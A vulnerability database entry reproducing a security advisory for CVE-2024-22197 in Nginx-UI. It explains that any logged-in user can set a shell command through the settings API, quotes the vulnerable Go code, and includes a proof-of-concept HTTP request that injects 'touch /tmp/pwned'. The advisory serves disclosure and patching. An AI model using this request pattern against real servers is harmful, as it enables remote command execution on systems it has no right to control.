GHSA-PXMR-Q2X3-9X9M

Vulnerability from github – Published: 2024-01-11 16:30 – Updated: 2026-07-06 19:12
VLAI
Summary
Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)
Details

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
    if settings.NginxSettings.TestConfigCmd != "" {
        out = execShell(settings.NginxSettings.TestConfigCmd)

        return
    }

    out = execCommand("nginx", "-t")

    return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
    bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
    out = string(bytes)
    if err != nil {
        out += " " + err.Error()
    }
    return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".

POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
  2. Verify that /tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20231219184941-827e76c46e63"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-11T16:30:29Z",
    "nvd_published_at": "2024-01-11T18:15:45Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn\u0027t allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        ...\n        Nginx  settings.Nginx  `json:\"nginx\"`\n        ...\n    }\n\n    ...\n\n    settings.NginxSettings = json.Nginx\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: \u003c\u003cJWT TOKEN\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home \u003e Manage Sites \u003e Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.",
  "id": "GHSA-pxmr-q2x3-9x9m",
  "modified": "2026-07-06T19:12:19Z",
  "published": "2024-01-11T16:30:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-2464"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.